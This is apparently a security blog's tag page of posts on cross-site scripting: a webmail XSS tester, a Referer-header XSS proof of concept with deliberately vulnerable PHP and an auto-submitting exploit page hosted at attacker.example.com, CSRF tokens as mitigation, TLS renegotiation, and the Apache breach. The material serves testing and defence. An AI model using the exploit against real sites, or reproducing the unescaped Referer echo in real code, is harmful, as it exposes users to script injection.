xss

Webmail XSS Tester - Excess2

alla — Wed, 12 Jan 2011 20:57:29 +0000

Webmail XSS Tester - Excess2

Here is a script to automate testing of webmail systems for cross-site scripting. It uses XSS Cheat Sheet to generate the injection strings. Compared to the previous version this version downloads XSS cheat sheet on the fly (instead of having it hard-coded) and supports SMTP authentication.

NAME
       excess2 - A script for testing webmail systems for cross-site scripting
       problems

DESCRIPTION
       This script sends a number of HTML-formatted email messages to a
       specified email address. In order to test a webmail system you need to
       have an email account on the system, run this script to send messages
       to that account, and then view the received messages through the
       webmail interface. If you get a popup box saying "XSS!" it means that
       your webmail system failed to block the attack.

       Try viewing the messages in several different browsers, including
       Internet Explorer and Mozilla Firefox. Some attacks work in one
       browser, but don't work in another.

       The script downloads RSnake's XSS Cheat sheet from
       http://ha.ckers.org/xssAttacks.xml. This way we always have the latest
       and greatest XSS attacks. Thanks, RSnake.

OPTIONS
       -t you@webmail.example.com        The destination email address
       -f return-address@example.com      From email address. Replies and
       rejects will go to that address.
       -s mymailserver.example.com       SMTP server to use for sending
       messages.
       -u    SMTP server username (if it requires authentication)
       -p    SMTP server password (if it requires authentication)

Download here

alla Wed, 01/12/2011 - 21:57

Exploiting cross-site scripting in Referer header

alla — Thu, 21 Oct 2010 14:04:31 +0000

Exploiting cross-site scripting in Referer header

The application that echoes the Referer header is vulnerable to cross-site scripting. And it is perfectly exploitable. Here is how:

Suppose we have an application that generates a "Back" link from Referer header (let's call it vulnerable.php):

<?php
echo '<a href="';
echo $_SERVER['HTTP_REFERER'];
echo '">Back</a>\n';
?>

We can inject HTML and JavaScript if we can set the Referer header. This can be done if we first get the victim to visit a page created by the attacker. Consider the following page (let's call it exploit.html):

<html>
<body>
<form   id="xss"
        name="xss"
        method="GET"
        action="http://victim.example.com/vulnerable.php">
</form>
<script>
document.getElementById("xss").submit();
</script>
</body>
</html>

If the victim is tricked into visiting http://attacker.example.com/exploit.html?<script>alert(1);</script> he will end up on the vulnerable page with the Referer header containing XSS attack.

This attack works in Internet Explorer, but does not work in Firefox, because Firefox will URL-encode the naughty characters after the question mark. It may still be possible to exploit this with Firefox, but some trickery with mod_rewrite will be needed to have XSS data in the path, instead of in the query.

alla Thu, 10/21/2010 - 16:04

CSRF protection also fixes reflected XSS

alla — Fri, 24 Sep 2010 07:08:29 +0000

CSRF protection also fixes reflected XSS

An application I have recently tested had cross-site request forgery protection implemented throughout - every single form or link with parameters had an additional parameter with a value derived from the session id. When the form is submitted or the link is clicked, before any other processing, this parameter value is checked.

And guess what - that also makes all reflected cross-site scripting bugs not exploitable. How?

To exploit reflected XSS the attacker needs to get the user to submit a request to the application that will result in application echoing back the JavaScript code passed by the attacker in one of the request parameters. But, to craft that request the attacker needs to supply a valid anti-CSRF parameter value, which he can not know. If the anti-CSRF parameter is not there, or the value is not right, the user gets an error, not the normal page, that should have contained the attacker's code. So, XSS exploit fails.

alla Fri, 09/24/2010 - 09:08

Impact of TLS/SSL Renegotiation Vulnerability on HTTPS: Less Known Issues

abb — Sun, 12 Sep 2010 11:10:31 +0000

Impact of TLS/SSL Renegotiation Vulnerability on HTTPS: Less Known Issues

There is a couple of issues with TLS/SSL renegotiation vulnerability in the context of HTTPS protocol, which appear not to have made their way to the public.

1. Plain text prefix injection is not the only risk. The original advisory [1] mentions the possibility of "forwarding and repurposing of client certificate authentication credentials". In oss-sec maillist Marsh Ray goes in more details [2], and [3] dedicates one slide to "client certificate redirection".

2. The renegotiation vulnerability provides for an additional attack vector to exploit web application vulnerabilities. For example, MiTM attackers can use it to deliver an exploit for a non-persistent XSS bug to client's browser.

References:

[1] http://www.phonefactor.com/sslgapdocs/Renegotiating_TLS.pdf
[2] http://seclists.org/oss-sec/2009/q4/137
[3] http://www.troopers10.org/content/e728/e897/e903/TROOPERS10_History_of_…

abb Sun, 09/12/2010 - 13:10

Apache Foundation Hacked via Reflected Cross-Site Scripting

alla — Mon, 19 Apr 2010 16:49:10 +0000

Apache Foundation Hacked via Reflected Cross-Site Scripting

I am thoroughly impressed. A combination of reflected XSS, insecure file uploads and bad passwords allowed the attackers to gain root on one of the Apache Foundation's servers, and gain non-privileged shell on another one. Here is the story directly from Apache.

In my opinion the most interesting part here is the fact that reflected XSS was used as the initial step. I always thought XSS, particularly the reflected sort, is somewhat over-hyped. I don't think so any more.

alla Mon, 04/19/2010 - 18:49